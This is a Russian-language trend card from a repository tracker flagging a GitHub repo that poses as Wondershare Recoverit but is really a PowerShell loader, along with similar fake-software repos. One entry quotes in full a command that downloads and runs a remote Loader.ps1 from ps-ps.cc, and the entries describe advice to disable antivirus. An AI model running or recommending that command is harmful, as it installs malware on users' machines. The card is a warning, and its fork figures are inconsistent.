# Macroeablade/Wondshare-Recoverit

> Репозиторий выдаёт себя за набор для восстановления данных Wondshare Recoverit, но по сути это скрипт PowerShell, скачивающий и запускающий удалённый Loader.ps1 с ps-ps.cc, с советами отключить антивирус и обойти Execution Policy.

- Магнитуда: 5,6 из 10 — Ранний сигнал
- Звёзды: 152 всего · +153 звезды сегодня, к вечеру ≈ 189
- Доверие к звёздам: рост звёзд выглядит естественно
- Категория: Безопасность · Создан: 2026-10-01 · Последний коммит: 2026-10-01
- GitHub: https://github.com/Macroeablade/Wondshare-Recoverit · Страница: https://gitnova.dev/r/Macroeablade/Wondshare-Recoverit

## Чем пригодится

- Не запускать: команда irm ... | iex выполняет произвольный удалённый код с ps-ps.cc
- Проверить репозиторий на признаки вредоносного установщика перед любым использованием

## Почему он здесь

- Сегодня уже 153 звезды, к концу дня ожидается около 189.
- Репозиторию 1 день, а у него уже 152 звезды. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет.
- Топ новых репозиториев за неделю: #114.
- Около 92 форков в сутки — код забирают себе.

## Доверие к звёздам

Рост звёзд выглядит естественно.

Метки доверия к звёздам — эвристики по поведению репозитория, а не проверка каждого, кто поставил звезду.

## Цифры

- Форков: 12
- Issues и pull requests: 0
- Наблюдателей: 0
- В среднем за неделю: 95 в день
- Обычный темп: мало истории (меньше двух недель)
- Звёзд за последний час (по замерам): 14

## Звёзды по дням за 6 дней (от старых к новым, сегодня — неполный день)

2026-09-27 … 2026-10-02: 0, 0, 0, 0, 0, 153

## Где замечен сейчас

- Топ новых репозиториев за неделю: #114

## Похожие по описанию

1. **denmooseflex/Display-Fusion** — 5,8 · Ранний сигнал · Безопасность · +183 звезды сегодня, к вечеру ≈ 226
   Репозиторий маскируется под менеджер конфигурации Display Fusion, но по сути это установщик, распространяющий пиратскую «pre-activated» версию через запуск удалённого PowerShell-скрипта. README содержит инструкции по обходу Execution…
   Полная карточка: https://gitnova.dev/r/denmooseflex/Display-Fusion.md
2. **Pulverizeclirouse/StartAll-Back** — 5,8 · Ранний сигнал · Безопасность · +170 звёзд сегодня, к вечеру ≈ 210
   Репозиторий маскируется под утилиту оптимизации StartAll Back, но по сути это скрипт-загрузчик: README предлагает выполнить `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` и отключить антивирус. Никакого реального кода, описания или…
   Полная карточка: https://gitnova.dev/r/Pulverizeclirouse/StartAll-Back.md
3. **ashdriverclippers/Microsoft-Visio** — 5,8 · Ранний сигнал · Безопасность · +149 звёзд сегодня, к вечеру ≈ 184
   Репозиторий маскируется под «оптимизацию Microsoft Visio», но по сути это скрипт-загрузчик, который через PowerShell запускает удалённый код с ps-ps.cc и предлагает отключить антивирус. Признаки вредоносного/пиратского установщика, а не…
   Полная карточка: https://gitnova.dev/r/ashdriverclippers/Microsoft-Visio.md
4. **BackerAbide59/Fps-Booster-for-Windows** — 5,9 · Ранний сигнал · Безопасность · +191 звезда сегодня, к вечеру ≈ 236
   Репозиторий выдаёт себя за FPS-бустер для Windows, но по факту это скрипт, который просит выполнить удалённый PowerShell-код и отключить антивирус. Похоже на вредоносную или мошенническую схему, а не на реальный оптимизатор.
   Полная карточка: https://gitnova.dev/r/BackerAbide59/Fps-Booster-for-Windows.md
5. **CoatDistributorHost/Adobe-Substance-3d** — 6,1 · Ранний сигнал · Безопасность · +217 звёзд сегодня, к вечеру ≈ 268
   Репозиторий маскируется под набор для оптимизации Adobe Substance 3D, но по факту предлагает выполнить сторонний PowerShell-скрипт (irm ... | iex) для «предварительно активированной» установки и обхода антивируса.
   Полная карточка: https://gitnova.dev/r/CoatDistributorHost/Adobe-Substance-3d.md

---

Магнитуда (0–10) — насколько быстро и необычно сейчас растёт интерес к репозиторию. Это не оценка качества.
Дни — по UTC. «Уже сегодня» — факт, «к вечеру ≈» — прогноз.
Описания и сценарии пишет модель (DeepSeek V4.1 Flash) по README, в деталях возможны ошибки: конкретные утверждения (замеры, скорость, железо) проверяйте в самом репозитории.
Данные на 2026-10-02 18:20 UTC, обновление каждые 30 минут.